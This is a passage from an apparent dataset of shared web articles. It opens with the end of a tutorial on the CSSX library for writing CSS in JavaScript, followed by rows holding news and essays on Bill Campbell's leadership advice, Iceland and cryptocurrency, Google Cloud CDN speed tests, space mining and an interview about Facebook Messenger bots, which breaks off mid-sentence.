JavaScript, we should be able to control it like a real style sheet. We should be able to define styles and then add, remove or update them inside. And those changes should be applied to the page just like the style sheet in a static file. The FOUT problem is a matter of trade-offs. The question is not, ""Should we put our CSS in JavaScript,"" but rather, ""What part of the CSS could be written in JavaScript?"" Certainly the typography, the grid, the colors should all be in a static file so that browsers can consume it as quickly as possible. However, a ton of stuff is not needed immediately - for example, classes relating to state, like is-clicked and is-activated . In the world of single-page apps, everything generated by JavaScript can be styled with JavaScript . That's because it does not appear before we have the whole JavaScript bundle. In a large-scale application, forming different blocks and keeping them separated is really important. The fewer the dependencies a single component has, the better. HTML and CSS are hard dependencies of our client-side JavaScript views. Without them, we can't really display content. Grouping them in one place would reduce the complexity of our projects. Based on these conclusions, I started writing the CSSX client-side library. Meet The CSSX Library Link To make the CSSX library available, either include the cssx.min.js file on your page or install the npm module by running npm install cssx . If you have a build process, then you'll probably be interested in the npm package. An online demo is available on GitHub . You can see CSSX in action there. (The CSSX client-side library is needed so that the CSSX is injected at runtime. Later, we will see what other modules are required to support the vanilla CSS syntax. Till then, let's focus on the JavaScript-only API.) Here is a very basic example of one style sheet with one rule registered in it: var sheet = cssx(); sheet.add('p > a', { 'font-size': '20px' }); If we ran this in a browser, we'd see a new style tag injected in the head of the document: <style id=""_cssx1"" type=""text/css"">p > a{font-size:20px;}</style> The add method accepts a selector and CSS properties as an object literal. This works, but it's a static declaration. There would be almost no benefit to doing this in JavaScript. We could just as easily place these styles in our external CSS file. Let's transform the code to the following: var sheet = cssx(); var rule = sheet.add('p > a'); var setFontSize = function (size) { return { 'font-size': size + 'px' }; }; rule.update(setFontSize(20)); ... rule.update(setFontSize(24)); Now there's another thing. We are now able to change the font size dynamically. The result of the code above is this: p > a { font-size: 24px; } So, writing CSS in JavaScript now becomes a composition of object literals. We may use all of the features of the JavaScript language to build them. Simple things like defining a variable, using factory functions and extending base classes are here by default. Encapsulation, reusability, modularity - we get all of these things for free. The CSSX library has a minimalist API, mainly because JavaScript is really flexible. The composition of the CSS is left to the developer. The exposed functions revolve around the production of actual styles. For example, while writing CSS, we tend to create groups. Some of these groups are formed by the structure of the layout - styles for the header, the sidebar and the footer. Here is how to scope the styles using a CSSX rule object: var sheet = cssx(); // `header` is a CSSX rule object var header = sheet.add('.header'); header.descendant('nav', { margin: '10px' }); header.descendant('nav a', { float: 'left' }); header.descendant('.hero', { 'font-size': '3em' }); The result of this snippet is this: .header nav { margin: 10px; } .header nav a { float: left; } .header .hero { font-size: 3em; } Instead of header.descendant , we may use header.d . It would be annoying to have to write descendant all of the time; so, a .d shortcut exists. We have another method similar to descendant - nested . Instead of chaining the selectors, the library would nest the definitions. Here is an example: var smallScreen = sheet.add('@media all and (max-width: 320px)'); smallScreen.nested('body', { 'font-size': '10px' }); /* results in @media all and (max-width: 320px) { body { font-size: 10px; } } */ This API may be used to create media queries or @keyframes definitions. In theory, this is enough to produce a Sass-like output. There is also the .n shortcut, instead of .nested . So far, we've seen how to produce valid CSS that gets applied to the page at runtime. However, writing styles like that takes a lot of time, and even though our code has a good structure, it's not as nice as writing vanilla CSS. The Challenging Part: Actual CSS Syntax In JavaScript Link As we've seen, writing CSS in the format shown above is not really nice, mainly because we have to wrap almost everything in quotation marks. We can do some optimization, like using camel casing, creating helpers for the different units and so on, but it's still not as clean and simple as regular CSS. Placing vanilla CSS in JavaScript leads to the well-known unexpected token error, because the JavaScript engine is not designed to accept code in such a format. OK, then, how do we introduce the syntax we want? JSX created it, right? Well, it didn't. We don't have actual HTML tags working in JavaScript. What's happening is that we translate (or, more accurately, transpile ) JSX to valid JavaScript at buildtime. The final bundle that is executed in the browser contains valid code. Here is an example: 11 ( View large version 12 ) Of course, this comes at a cost: one more step in our build process, more configuration and more things to think about. But, to be honest, I'm ready to trade that for better code organization and scalability. JSX simply makes our life better by hiding the complexity of managing HTML templates. And JSX was exactly what I wanted, but for CSS. I started digging into Babel , because that's the official transpiler of JSX at the moment. It uses the Babylon module to parse the source code and transform it to an abstract syntax tree (AST). Later, the babel-generator parses that tree and turns it into valid JavaScript code. That's how Babel understands JSX. It uses same approach for the ES6 features that are still not supported by all the browsers. 17 ( View large version 18 ) So, all I had to do is see how Babylon understands JSX and do the same for CSS. The module is written like so, so it allows extension from the outside. In fact, almost anything can be changed. JSX is a plugin there, and I was keen to create one for CSSX. I knew about AST and how helpful it can be, but I never spent time learning how to generate one. It is basically a process of reading small chunks (or tokens) of the code, one by one. We have a bunch of assertions trying to form a meaningful sequence of tokens. If something is recognized, then we define a context and continue parsing until we exit the current context and continue with another one. Of course, there are many edge cases that have to be covered. And the fun part is that we can't extend the parser until we know every little detail about it. It took me a couple of weeks to read and really understand what is going on there. In the beginning, I made the mistake of following the JSX plugin's implementation. I can't tell you how many times I started the CSSX plugin. Every time, I ended up with something that either didn't fully cover the CSS syntax or broke JavaScript's syntax. Then, I realized that JSX is quite different , and I started extending only what CSS needs. The test-driven development approach worked perfectly here. I should mention that Babylon has more then 2100 tests. And that's absolutely reasonable considering that the module understands such a rich and dynamic language like JavaScript. I had to make a couple of interesting design decisions. First, I tried parsing code like this: var styles = { margin: 0, padding: 0 } Everything was going fine until I decided to run my plugin against all of the tests in Babylon. The parser usually produces an ObjectExpression node from this code, but I was doing something else because I recognized this as CSSX. I effectively broke the JavaScript language. There is no way to find out what we have until we parse the whole block. That's why I decided to use another syntax: var styles = cssx({ margin: 0; padding: 0; }); We are explicitly saying here that we are writing a CSSX expression. Tweaking the parser is much easier when we have a clear entry point. JSX does not have this problem because HTML is not even close to JavaScript, and there are no such conflicts. I was using CSSX with the cssx( ... ) notation for a while, but then I realized that I could replace it with <style> ... </style> . It was a cheap switch. Every time the code lands in the parser, just before processing it, we run a simple regex replacement : code = code.replace(/<style>/g, 'cssx(').replace(/<\/style>/g, ')'); This helps us write the following: var styles = <style>{ margin: 0; padding: 0; }</style>; And we have the same result in the end. Start Writing Vanilla CSS In JavaScript Link Let's say we have a tool that understands CSSX and produces proper AST. The next step is to get a transpiler that generates valid JavaScript. The package that deals with that is CSSX-Transpiler . Under the hood, we are still using babel-generator , but only after we substitute our custom CSSX nodes with something that Babel understands. Another helpful module is babel-types . There are a ton of utility functions, and without them, generating a tree for the generator would be really difficult. Types of CSSX Expressions Link Let's see a couple of simple transformations. var styles = <style>{ font-size: 20px; padding: 0; }</style>; This is transformed to the following: var styles = (function () { var _2 = {}; _2['padding'] = '0'; _2['font-size'] = '20px'; return _2; }.apply(this)); That's the first type, where we produce a simple object literal. The equivalent of the code above is this: var styles = { 'font-size': '20px', 'padding': '0' }; If you scroll up, you will see that that's exactly what we need in the CSSX client-side library. If we operated with a lot of those, then it would be nice to use vanilla CSS. The second expression contains more information. It bundles the whole CSS rule - selector and properties: var sheet = <style> .header > nav { font-size: 20px; padding: 0; } </style>; Here is the transpiled JavaScript: var sheet = (function () { var _2 = {}; _2['padding'] = '0'; _2['font-size'] = '20px'; var _1 = cssx('_1'); _1.add('.header > nav', _2); return _1; }.apply(this)); Note that we are defining a new style sheet - cssx('_1') - I should clarify that if we run this code twice, we won't be creating an additional <style> tag. We'd be using the same one because cssx() receives the same ID ( _1 ) and returns the same style sheet object. If we added more CSS rules, we'd see more _1.add() lines. Going Dynamic Link As mentioned, the main benefit of writing CSS in JavaScript is to gain access to wider range of tools, such as defining a function that gets a number and outputs a font-size rule. I had hard time deciding on the syntax for these ""dynamic parts."" In JSX, this is solved easily by wrapping code in braces. Again, doing the same in CSSX would be difficult because braces conflict with other stuff. We always use them when defining CSS rules. So, I initially decided to replace them with the grave accent (or the backtick): var size = 20; var styles = <style> .header > nav { font-size: `size + 2`px; padding: 0; } </style>; The result would be this: .header > nav { padding: 0; font-size: 22px; } We can use dynamic parts everywhere. Whatever we place inside is considered valid JavaScript and is executed. var size = 20; var prop = 'size'; var selector = 'header'; var styles = <style> .`selector` > nav { font-`prop`: `size + 2`px; padding: 0; } </style>; Similar to JSX, the code is transformed to valid JavaScript: var size = 20; var prop = 'size'; var selector = 'header'; var styles = (function () { var _2 = {}; _2['padding'] = '0'; _2[""font-"" + prop] = size + 2 + ""px""; var _1 = cssx('_1'); _1.add(""."" + selector + "" > nav"", _2); return _1; }.apply(this)); I should mention that the self-invoking function around the transpiled code is needed to keep the right scope. The code we place inside the so-called dynamic expressions should use the right context. Otherwise, we'd probably be requesting access to undefined variables or would be reading from the global scope. The other reason to use a closure is to avoid collisions with other parts of our application. After getting some feedback, I decided to support two other syntaxes for those dynamic expressions. Some solid refactoring was needed for the code that defines words inside CSSX. Now, it is possible to use {<!-- -->{ ... }} or <% ... %> : var size = 20; var styles = <style> .header > nav { font-size: px; padding: 0; } </style>; ""Show Me The Code!"" Link Let's build something real and see how CSSX works in practice. And because CSSX is inspired by JSX, we'll create a simple React navigation menu. The result will look like this: (The final source code of this example is available on GitHub . Simply download the files, and install the dependencies with npm install . Then, run npm run dev to compile the JavaScript, and open example/index.html in a browser. A live demo of the result is also available.) The Base Link We've already established that CSSX is not meant to serve all of the CSS. It should contain only those bits that are dynamic. The basic CSS in this example would be as follows: body { font-family: Helvetica, Tahoma; font-size: 18px; } ul { list-style: none; max-width: 200px; } ul, li { margin: 0; padding: 0; } li { margin-bottom: 4px; } Our navigation will be made up of an unordered list of items. Every item will contain an <a> tag, which represents the clickable area. (Don't worry if you are not familiar with React. The same code can be applied in other frameworks. What is important here is how we use CSSX to style the buttons and define their behavior.) The first thing we have to do is render links on the page. Let's say that the items in the list will come to the component as an items property. We'll loop through them and create <li> tags. class Navigation extends React.Component { constructor(props) { super(props); this.state = { color: '#2276BF' }; } componentWillMount() { // Create our style sheet here } render() { return <ul>{ this._getItems() }</ul>; } _getItems() { return this.props.items.map((item, i) => { return ( <li key={ i }> <a className='btn' onClick={ this._handleClick.bind(this, i) }> { item } </a> </li> ) }) } _handleClick(index) { // Handle link's click here } } We've put a color variable in the component's state and will use it later in our style sheet. Because the styles will be generated at runtime, we may go even further by writing a function that returns the color. Note that, by placing the CSS in the JavaScript, we are no longer living in the static, declarative land of CSS! As it is, the component is ready for rendering. const ITEMS = [ 'React', 'Angular', 'Vue', 'Ember', 'Knockout', 'Vanilla' ]; ReactDOM.render( <Navigation items={ ITEMS } />, document.querySelector('body') ); The browser simply displays our ITEMS on the screen. Within the static CSS, we've removed the default bullets of the unordered list and cleared the space around the items. The result is this: Now, let's add some CSSX and define the initial look of the items. A good place to do this is the componentWillMount function because it's the method that is fired before the component gets on the page. componentWillMount() { var color = this.state.color; <style> li { padding-left: 0; (w)transition: padding-left 300ms ease; } .btn { display: block; cursor: pointer; padding: 0.6em 1em; border-bottom: solid 2px `color`; border-radius: 6px; background-color: `shadeColor(color, 0.5)`; (w)transition: background-color 400ms ease; } .btn:hover { background-color: `shadeColor(color, 0.2)`; } </style>; } Notice how we've used CSSX expressions to define the bottom border's color and the background color. shadeColor is a helper function that accepts a color in HEX format and shades it based on the second parameter (which is between -1 and 1 ). That's not really important right now. The result of this code is a new style sheet injected in the head of the page. The CSS there is exactly what we need: li { padding-left: 0; transition: padding-left 300ms ease; -webkit-transition: padding-left 300ms ease; } .btn { background-color: #91bbdf; border-radius: 6px; border-bottom: solid 2px #2276BF; padding: 0.6em 1em; cursor: pointer; display: block; transition: background-color 400ms ease; -webkit-transition: background-color 400ms ease; } .btn:hover { background-color: #4e91cc; } The (w) in front of the properties generates a prefixed version. Now, our navigation is not simple text anymore: React CSSX example. The last bit of our component is the interaction with the user. If we click on some of the links, they should shrink from the left and a static background color should be set. In the _handleClick function, we'll receive the index of the clicked item; so, we can use nth-child CSS selector to style the correct button: _handleClick(index) { <style> li:nth-child({<!-- -->{ index + 1 }}) { padding-left: 2em; } li:nth-child({<!-- -->{ index + 1 }}) .btn { background-color: {<!-- -->{ this.state.color }}; } </style>; } This works but there is one problem. An item that has been clicked is not restored to its initial state if we click on another link. After two clicks, for example, our document might contain the following: li:nth-child(4) { padding-left: 2em; } li:nth-child(4) .btn { background-color: #2276BF; } li:nth-child(3) { padding-left: 2em; } li:nth-child(3) .btn { background-color: #2276BF; } So, we have to clear the style sheet before styling the clicked item. var stylesheet, row; // creating a new style sheet stylesheet = cssx('selected'); // clearing all the styles stylesheet.clear(); // adding the styles stylesheet.add( <style> li:nth-child({<!-- -->{ index + 1 }}) { padding-left: 2em; } li:nth-child({<!-- -->{ index + 1 }}) .btn { background-color: {<!-- -->{ this.state.color }}; } </style> ); Or, if we go with method chaining, we'd have this: cssx('selected') .clear() .add( <style> li:nth-child({<!-- -->{ index + 1 }}) { padding-left: 2em; } li:nth-child({<!-- -->{ index + 1 }}) .btn { background-color: {<!-- -->{ this.state.color }}; } </style> ); Notice that we've specified an ID of the style sheet: selected . This is important; otherwise, we'd get a different style sheet every time. With the change above, our example works exactly as the animated GIF at the beginning of this section. Even with such a simple example, we can recognize some of CSSX's benefits: We don't have to deal with additional CSS classes. There is no interaction with the DOM because we don't have to add or remove CSS classes. We have real dynamic CSS, tightly coupled with the logic of the component. HTML and CSS in JavaScript might seem strange, but the truth is that we have been doing it for years. We precompile our templates and place them in JavaScript. We form HTML as strings, and we use inline styling produced by JavaScript. So, why not use the same syntax directly? In the last year, I've used React heavily, and I can say that JSX is not bad at all. In fact, it improves maintainability and shortens the time spent getting into a new project. I'm still experimenting with CSSX. I do see similarities with JSX in the workflow and result. If you want to see how it works, check out the demo . Language Link Packages Link Examples Link 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ↑ Back to top Tweet it Share on Facebook",en
1461039112,CONTENT SHARED,6309804346176212907,-1032019229384696495,-5623405593432139275,,,,HTML,http://www.businessinsider.com/bill-campbells-leadership-advice-2016-4,Silicon Valley legend Bill Campbell has died - here is some of his best leadership advice,"Stephen Lamb/Reuters Bill Campbell, widely known in Silicon Valley as ""The Coach,"" died Tuesday after a long battle with cancer . Before entering the tech industry, Campbell served as head football coach at Columbia University, and maintained a pep-talk approach when dealing with executives. Campbell's illustrious career included a stint as an Apple executive and board member, and he served as CEO and chairman of Intuit. He became not only an adviser to, but also close friend of power players like late Apple CEO Steve Jobs, Google cofounders Larry Page and Sergey Brin, and Twitter and Square CEO Jack Dorsey. As Kleiner Perkins Caufield & Byers partner Randy Komisar explained in an episode of his ""Ventured"" podcast , Campbell's executive coaching style was akin to that of a psychiatrist, asking the right questions to steer his subjects to their own conclusions rather than giving mandates. Campbell preferred to stay out of the spotlight, but we've collected some of his best leadership advice from relatively recent interviews. These lessons shed light on why he was such a valuable coach to have. Know that great products drive success. Everything else is a supporting function. Campbell was adamant that the greatest marketing in the world was useless if it didn't advertise an excellent product. It's why he was a fierce advocate for granting engineers creative freedom. Trust your managers, and make sure they trust their subordinates. At companies Campbell worked at, he would aim to eliminate tensions between product managers and engineers by building a culture of trust, where managers knew that engineers were in the best position to find a solution and engineers knew managers were in the best position to guide them to that goal. Experiment, but never at the cost of your existing business. Campbell was close friends with Ron Johnson, the Apple executive's whose attempt at relaunching J. C. Penney in 2012-2013 failed miserably because, as Campbell said, he tried starting from scratch. Spend your days doing, not planning. ""Writing a list of things and checking dates and all that, that's a bunch of bullshit, you can take the last 10 minutes of your day and do that,"" he said. The vast majority of your day as a leader should be spent working with your team. Your company must have unifying product principles. Even while evolving, you must ensure your company retains its unique identity by sticking to fundamental creative principles. ""That's what Apple does brilliantly,"" Campbell said. ""Everyone knows where the design principles are trending."" It is imperative that you stop infighting as soon as it arises. Campbell said that internal warfare ""brings companies to their knees"" and that it is the CEO's job to end tensions immediately. He said that Apple under CEO John Scully, before Steve Jobs was brought back in to lead his company, was marked by turf wars and power grabs. ""The political problem just goes down through the organization,"" Campbell said. ""Everybody's paralyzed by the fighting that top executives have, all the time."" He recommended CEOs bring their warring parties into the same room and give them a deadline for settling their dispute, or else they would step in and make the decision for them. Determine cultural values from the outset and then model them. Values allow employees to hold each other accountable, and the CEO must embody the values, or else no one will follow them. Evaluate your managers by what their employees think of them. Regularly survey your employees to ensure that their managers are upholding the company's values and guiding rather than interfering with their work. Maintain a culture of respect. Campbell placed prime importance on respect when leading or consulting with a company. For example, he said, ""Larry Page takes great, great pride in making sure that [executives he hires] are humble about what they do."" If someone continuously disrespects their colleagues to the point where they feel their opinions aren't heard, then that person needs to be let go. Be honest with your team. The reason why Campbell was not only greatly respected in the Valley, but also deeply admired on a personal level was because he spent time building relationships with those he worked with. To him, the best leaders are straightforward with both their praise and criticism, so that there were no illusions holding someone back from success.",en
1461066756,CONTENT SHARED,-4231142613423804992,4340306774493623681,-6634749737124976816,,,,HTML,http://cointelegraph.com/news/could-iceland-embrace-crypto-before-anyone-else,Could Iceland Embrace Crypto Before Anyone Else?,"It has been a rough decade for Iceland . Between the crash of three major banks to the prime minister's resignation over corruption revealed by the Panama Papers, the insular island nation has experienced a heavy dose of failure in its most essential systems of governance. This curse, however, could turn into a blessing, as Iceland is uniquely positioned to take full advantage of cryptocurrency like no other nation. Two major upheavals in a decade Back in 2008, Iceland's three major banks collapsed , ushering in a corresponding economic collapse and prompting the heads of said banks to be jailed. In the country where common folks were forced to still use the failing króna and you need a permission to buy foreign currency for your holiday plane ticket, the revelation came that their prime minister had finances in offshore accounts. No wonder it has reopened fresh wounds from barely eight years earlier. As a result, the relatively new and radical Pirate Party has already taken the lead in Iceland's polls. The failure of banks and regulators Rather than a tale of corruption, outrage, and justice, however, what Iceland's struggles really underscore is the complete failure of central banking and capital controls, illuminated intimately as only possible in a small island nation of barely 300,000. And, regrettably, the government appears to be doubling down on its mistakes. Not only were the three bankers who were jailed in response to the 2008 collapse recently released from jail after serving only a fraction of their sentences, incoming Prime Minister Sigurður Ingi Jóhannsson supports legislation banning Iceland's citizens from keeping their money abroad in tax havens. Instead of learning from the errors of the past, Icelandic officials seem hell-bent on repeating them. Auroracoin's rise, fall, and rebirth As a solution to the banking system and the devalued króna, an anonymous development team created Auroracoin , a cryptocurrency meant specifically for the people of Iceland, and was distributed to them directly. The initial distribution saw a price spike and crash, caused by the collision of a swell of anticipation with an inadequate infrastructure for using and trading the cryptocurrency. The Auroracoin Foundation, however, plans a resurgence for the coin this year, as its price and transaction volume continue to spike in response to the country's recent financial woes. A unique opportunity to embrace cryptocurrency The troubles the people of Iceland have had to endure at the hands of a government completely unresponsive to real change could end up working in their favor. National cryptocurrencies provide a meaningful alternative to the central banking system, allow a people to gather equity instead of debt, and have a more focused distribution model than general purpose cryptocurrencies such as Bitcoin . Since 10% of Iceland's population already holds Auroracoin, an opportunity for a whole nation to embrace cryptocurrency has never been easier to grasp. Whether or not its people seize this unique chance remains to be seen.",en
1461067523,CONTENT SHARED,-9166778629773133902,-2979881261169775358,1695908089457700755,,,,HTML,http://blog.speedchecker.xyz/2016/04/18/google-cdn-beta-is-here-and-it-brings-more-than-meets-the-eye/,Google CDN Beta is here... and it's already one of the fastest CDNs out there!,"Some months ago, Google launched their Alpha program for their upcoming CDN service. We kept a close eye to their development and in the meanwhile, in NEXT 2016 Google has already announced the Beta phase of their CDN. We already discussed how this new product will fit in the broad palette of content distribution solutions Google has implemented. We have seen Google Global Cache, which is primarily aimed at speeding up their own services at ISP level, with more than 800 caches installed globally. CDN Interconnect is their partner program with third party providers like Cloudflare, Level3, Akamai, Highwinds, Fastly and Verizon, allowing them to use Google's backbone network to transport content faster than ever from the source to practically anywhere where it is required, powering up CDNs not only with faster caching, but also enabling them to deliver rapidly changing content at top speeds. Cloud CDN is Google's own CDN solution for sites running in VMs inside Compute Engine. It is designed and implemented a bit differently from other CDNs, since it is meant to cache not only static content, but practically a whole site in more than 50 edge caches globally. It is a whole new take in the concept of CDNs, going way further than simply caching files, since it is directly integrated into their Load Balancing system and it literally means that a copy of your site will be running and serving from the closest location to your customers, with a single public IP address thanks to Anycast. In addition to HTTP/1.0 and 1.1 it also supports the new HTTP/2 protocol as well as free HTTPS, putting your site at the edge of current Web technology. Using our tool Cloudperf, we were able to try out and see how well it performs compared to other CDN providers, including some of their Interconnect partners. We have four exact copies of our test VM in Google Compute Engine running in different locations worldwide. Since Cloud CDN is designed to run in front of a whole site, instead of only caching static objects, we designed a simple 100kB page to test this system at its best capabilities. CloudPerf uses a real instance of Chrome to load the whole page and measure the time it takes to visualize the content in a real web browser, measuring as always from the last mile, where real users are. Please consider that CloudPerf's Page Load test, by using a real instance of Chrome requires a cold start of the browser instance and includes DNS resolution times. That means that at this moment the measurements using this method will have an overhead of +/-600ms added to the real measurement time. The relative measured times between all destinations are correct since all of them are made with the same probe, but the absolute measured times include the above mentioned overhead. Now let's see what happens with the 100kB Page Load test in a selection* of worldwide countries. The average measured times by country and CDN can be seen in the following table: We can clearly see that Google Cloud CDN outperforms all other CDNs in loading a whole page in most countries. We can have a look at the special case of Japan, which shows the lowest measured times, by simply filtering results in CloudPerf. Going further, if we take a look at a selection of european countries**, we observe a similar situation only with Cloudfront, Level3 and Akamai coming a lot closer to Google's performance. Now, in the USA the battle is fierce, although higher than Japan, the overall loading times of most CDNs are very close to each other and the general performance is really good, except for MaxCDN, which in our measurements got a little behind the rest, but still performing reasonably well in comparison to other regions. Nevertheless, it is evident that CDNs strive for top performance especially in the US market. How does Google achieve such top loading times practically everywhere? We think that this is precisely due to the fact that Google CDN is embedded in the Load Balancing system of Compute Engine and that means that you can configure your site to automatically replicate your VMs whenever it is necessary to a location closest to your users, meaning an overall higher response time and effectively shortening loading times.There is a very noticeable difference when we include into the equation the time it takes to load and resolve all objects of a page from a single location close to the user, as opposed to other CDNs where only traditionally cacheable content gets copied and the rest has to be retrieved from the origin. * Australia, Brazil, France, Germany, India, Japan, Russia, Singapore, South Africa, Turkey, United Kingdom and United States ** France, Germany, Italy, Netherlands, Norway, Poland, Romania, Spain, Sweden and United Kingdom.",en
1461067550,CONTENT SHARED,4804093434821394840,-2979881261169775358,1695908089457700755,,,,HTML,http://nautil.us/blog/mining-in-space-could-lead-to-conflicts-on-earth,Mining in Space Could Lead to Conflicts on Earth - Facts So Romantic - Nautilus,"Illustration by Maciej Frolow Space mining is no longer science fiction. By the 2020s, Planetary Resources and Deep Space Industries-for-profit space-mining companies cooperating with NASA-will be sending out swarms of tiny satellites to assess the composition of hurtling hunks of cosmic debris, identify the most lucrative ones, and harvest them. They've already developed prototype spacecraft to do the job. Some people-like Massachusetts Institute of Technology planetary scientist Sara Seager, former NASA deputy administrator Lori Garver, and science writer Phil Plait-argue that, to continue advancing as a space-faring species, we need to embrace this commercial space mining industry, and perhaps even facilitate it, too. But should we? This question concerns me, as both an astrophysicist and a space enthusiast. Before becoming a science communicator, I worked for 15 years researching the evolution of galaxies, the properties of dark matter, and the expansion of the universe. From that perspective, the distance from us to the asteroid belt is actually rather small, so the question of whether to mine it, and in what way, hits close to home. The Space Act of 2015 , a U.S. law passed last fall, authorizes the president ""to facilitate the commercial exploration and utilization of space resources to meet national needs."" It's an exciting prospect, to be sure, but also a troubling one. For one thing, it appears to violate international law, according to Congressional testimony by Joanne Gabrynowicz, a space law expert at the University of Mississippi. Before NASA's moon landing, the United States-along with other United Nations Security Council members and many other countries-signed the 1967 Outer Space Treaty. ""Outer space, including the moon and other celestial bodies,"" it states, ""is not subject to national appropriation by claim of sovereignty, by means of use or occupation, or by any other means."" The 1979 Moon Agreement went further, declaring outer space to be the ""common heritage of mankind"" and explicitly forbidding any state or organization from annexing (non-Earth) natural resources in the solar system. Major space-faring nations are not among the 16 countries party to the treaty, but they should arguably come to some equitable agreement, since international competition over natural resources in space may very well transform into conflict. Take platinum-group metals. Mining companies have found about 100,000 metric tons of the stuff in deposits worldwide, mostly in South Africa and Russia, amounting to $10 billion worth of production per year, according to the U.S. Geological Survey. These supplies should last several decades if demand for them doesn't rise dramatically. (According to Bloomberg , supply for platinum-group metals is constrained while demand is increasing .) Palladium, for example, valued for its conductive properties and chemical stability, is used in hundreds of millions of electronic devices sold annually for electrodes and connector platings, but it's relatively scarce on Earth. A single giant, platinum-rich asteroid could contain as much platinum-group metals as all reserves on Earth, the Google-backed Planetary Resources claims. That's a massive bounty. As Planetary Resources and other U.S. and foreign companies scramble for control over these valuable space minerals, competing ""land grabs"" by armed satellites may come next. Platinum-group metals in space may serve the same role as oil has on Earth, threatening to extend geopolitical struggles into astropolitical ones. NASA's increasing collaboration with space mining companies could distort and divert efforts previously focused on space exploration. Moreover, the technology that might enable this free-for-all-versatile ""nanosatellites,"" no larger than a loaf of bread-is relatively inexpensive . In December, while reporting for a story about these tiny satellites, also known as CubeSats, I came across some missions applicable to mining asteroids. In mid-2018, NASA will launch a satellite for a mission called Near-Earth Asteroid Scout , for example. It will deploy a solar sail, propel itself with sunlight, and journey to the asteroid belt, where it will scope out a particular asteroid and analyze its properties. Last June, NASA also awarded grants to Planetary Resources to advance the designs of spectral imagers and propulsion systems for CubeSats, and other missions will develop the satellites' abilities to communicate and network with each other. NASA also awarded Deep Space Industries contracts to assess commercial approaches for NASA's asteroid goals, which may involve hosting DSI's asteroid-prospecting equipment on its missions. Like all forms of mining, it will be dangerous. If space-mining activities break up asteroids, the resulting debris could be hazardous for satellites, other spacecraft, and astronauts nearby. On the other hand, in a best-case scenario, space mining could be environmentally safe, capture only necessary minerals and water, and, in the more distant future even lead to the construction of a far-flung space station led by NASA and other space agencies, orbiting 200 million miles from Earth and serving as both a mining depot and a pit-stop for passing spacecraft. But it's not clear that a pact between the commercial space mining industry and NASA would align with the public's interest. NASA's increasing collaboration with space mining companies could distort and divert efforts previously focused on space exploration and basic research, and discourage public interest and engagement in astronomy. Last October, for example, Seager advocated for space mining at a science writing conference I attended. She's part of a motley group of advisors for Planetary Resources, including the movie director James Cameron, a lawyer for a prominent Washington D.C. firm, and Dante Lauretta, another astronomer whom I respect. Seager seems to believe that encouraging private space mining will lead to more investments and technological innovation that would enable more scientific research. In a 2012 interview with The Atlantic , for instance, she said, ""The bottom line is that NASA is not working the best that it could for space science right now, and so in order for people like me to succeed with my own research goals, the commercial space industry needs to be able to succeed independently of government contracts."" But if the U.S. and U.S.-based companies lay claim to the richest and most easily accessible prospecting sites, not allowing other companies and nations to share in the wealth, economic and political relations could be damaged. That's why this seems to be a dangerous path for space explorers. Once you're on board with the commercial space industry, then you as a researcher must accept, if not support, everything that comes with it. Seager and a few other researchers may be willing to take this risk, but what about the rest of the space science community? Moreover, to succeed, these businesses will seek profitable missions, while science, exploration, and discovery-goals that stimulate public interest-will inevitably have lower priority. (Other commercial spaceflight companies, like Elon Musk's SpaceX, do generate public interest, but they're not directly involved in mining asteroids.) NASA may have its shortcomings, but at least its missions and research goals answer to the public. It's not exactly a welcome thought to imagine more and more of our presence and activity in space being ceded, with NASA's help, to private industry. What should happen instead? Commercial space mining and science would both be served well by decoupling from each other. We should treat outer space like we do Antarctica. That icy landscape is humankind's common heritage, where we encourage scientific investigations and conservation and forbid territorial claims. If some organizations want to mine asteroids, then we should take the time to develop and establish an international framework to regulate it properly. Space-mining is an exciting opportunity to articulate our species' role in our little galactic fragment. But it's not just about sustainably managing limited or dwindling resources. It's about our interactions with the nature beyond our humble world. We should explore the solar system as its steward without repeating our economically rapacious past. Ramin Skibba is a science writer and astrophysicist based in Santa Cruz and San Diego. He can be found at raminskibba.net and on Twitter at @raminskibba .",en
1461067742,CONTENT SHARED,-5867424949902842953,-1032019229384696495,-5623405593432139275,,,,HTML,http://www.theverge.com/2016/4/18/11422278/facebook-messenger-bots-david-marcus-interview,Facebook Messenger's David Marcus on the rocky rollout of bots,"The search for the killer bot is well underway in Silicon Valley - but it's off to a rocky start. Microsoft's big push into artificial intelligence began with Tay, the teen-mimicking chatbot that Twitter users turned into a crazy racist in record time. Facebook's introduction of bot-building platform this week at its F8 developer conference went more smoothly. But early adopters have complained about the bots' mysterious user interfaces, their aggressive messaging, and the fact they don't seem all that much smarter than a Microsoft Office wizard from the 1990s. As Parker Thompson, the pithy venture capitalist at AngelList, put it : 2014: broad consensus that Clippy was the worst product ever. 2016: race to build Clippy 2.0 consumes hundreds of millions in VC. - Parker Thompson (@pt) April 8, 2016 As F8 wound down, we sat down with David Marcus, who leads Messenger for Facebook. Marcus, who was previously the president of PayPal, is among bots' biggest boosters. We asked him about the opportunity he sees for chat-based interfaces - and about some of the early criticisms that threaten to derail it. This interview has been edited and condensed. Casey Newton: So recently I saw this tweet from Parker Thompson. He said until recently, everyone was saying Clippy was the worst thing ever. And now everyone's saying Clippy's the future. Are bots more than just a new take on Microsoft Office in the '90s? Are bots really better than Clippy? David Marcus : Yeah - one thing I wanted to say is that there's a definition of what bots are in people's minds, and what they're thinking of and what we built is something different. Because bots in the minds of most people are this command-line interface type of thing, where it's pretty low fidelity, it's all command-based. And it maybe resonates with us geeks, but it doesn't with most people. And so what we've built, we feel, is a more consumer-friendly, mass-market version of that. We've taken a lot of care and time to build rich templates with ability for bots to combine images and text and all kinds of different things, but also rich bubbles with buttons and calls to actions and carousels that you can swipe through. Whether it's the CNN bot where you can swipe through stories, or the demo I gave during the keynote of Spring that lets you swipe through a lot of products and get to what you want really quickly. We feel that this hybrid approach is a really interesting one, because if you want a lightweight UI that reaches 900 million people, and you want to remove all the friction that comes with installing an app, now that's really easy to do and easy to build. People think that it's all for geeks - it's like, ""no one's going to type in command-line stuff!"" And that's not what we're building. I imagine you interact with bots more than the average person. Which have been your favorites? And which ones are you using on a daily basis? The Wall Street Journal has built a really good one, which I like because you can customize it to companies you follow and whenever something's happening, they give it to you in a really good format, very visually compelling. And Poncho is really cool, and that's why I decided to feature it in the keynote. You should try it, it's fun - when you interact with it, they use a typing indicators, so you feel like you really are talking to the weather cat on the other side. It's just a fun little interaction. And one of the most thoughtful bots is Spring. Personally I like fashion and brands, but I hate spending the time. And that's the fastest way for me to get a curated list of products that actually matches what I want to buy, and buy them really 